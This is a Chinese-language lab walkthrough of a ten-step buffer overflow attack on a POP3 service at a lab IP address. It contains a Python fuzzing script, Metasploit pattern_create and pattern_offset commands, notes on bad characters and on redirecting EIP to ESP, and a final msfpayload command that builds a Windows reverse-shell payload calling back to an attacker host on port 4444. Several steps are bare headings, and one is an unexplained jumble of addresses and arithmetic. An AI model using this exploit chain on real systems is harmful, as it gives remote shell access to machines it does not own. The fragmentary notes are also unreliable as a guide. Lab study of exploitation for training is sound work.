缓冲区溢出攻击过程
- 概念解释:
- 第一步:入侵着测试目标机的25和110端口
- 第二步:入侵着测试目标机缓冲区溢出
- 第三步:判断目标机器是否发生缓冲区溢出
- 第四步:得到确切缓冲区溢出位置所在的区间。
- 第五步:得到确切缓冲区溢出位置
- 第六步: 再次验证确切缓冲区溢出位置
- 第七步:确定可存放shellcode的地址空间
- 第八步:找出坏字符
- 第九步:重定向数据流
- 第十步:生成shellcode,实施缓冲区溢出攻击
概念解释:
第一步:入侵着测试目标机的25和110端口
nc 192.168.20.218 25
nc 192.168.20.218 110
telnet 192.168.20.218 110
第二步:入侵着测试目标机缓冲区溢出
root@kali:/home/lgb/overflow# cat overflow.py
#!/usr/bin/python
import socket
buffer = [“A”]
counter = 300
while len(buffer) <= 20:
buffer.append(“A” * counter)
counter += 300
for string in buffer:
print “FUZZING PASS WITH %s BYTES” % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((‘192.168.20.218’, 110))
s.recv(1024)
s.send(‘USER test’ + ‘\r\n’)
s.recv(1024)
s.send('PASS ’ + string + ‘\r\n’)
s.send(‘QUIT\r\n’)
s.close()
第三步:判断目标机器是否发生缓冲区溢出
第四步:得到确切缓冲区溢出位置所在的区间。
执行:./overflow2.py,程序没有溢出
执行:./overflow2.py,程序溢出
第五步:得到确切缓冲区溢出位置
288 cd /usr/share/metasploit-framework/
1289 ls
1290 cd tools/
1291 ls
1292 cd exploit/
1293 ls
1294 ./pattern_create.rb -l 2700
1295 ls
1296 ./pattern_offset.rb -q 39694438
1297 pwd
第六步: 再次验证确切缓冲区溢出位置
第七步:确定可存放shellcode的地址空间
016BA1AC
016BA154
020DA301
020DA154
16-4=12+1=13
A=10,B=11,C=12,D=13
15-5=10 A
1
1AD=429
161613
第八步:找出坏字符
注释:ESP寄存器指向的存储空间中不能出现字符00、0a、0d
第九步:重定向数据流
重定向数据流即修改EIP寄存器的值为ESP寄存器的值
设置跳转断点
运行下面的程序
按F7单步执行:
第十步:生成shellcode,实施缓冲区溢出攻击
1298 cd /usr/share/framework2/
1299 ls
1300 ./msfpayload win32_reverse LHOST=192.168.20.228 LPORT=4444 R |./msfencode -b “\x00\x0a\x0d”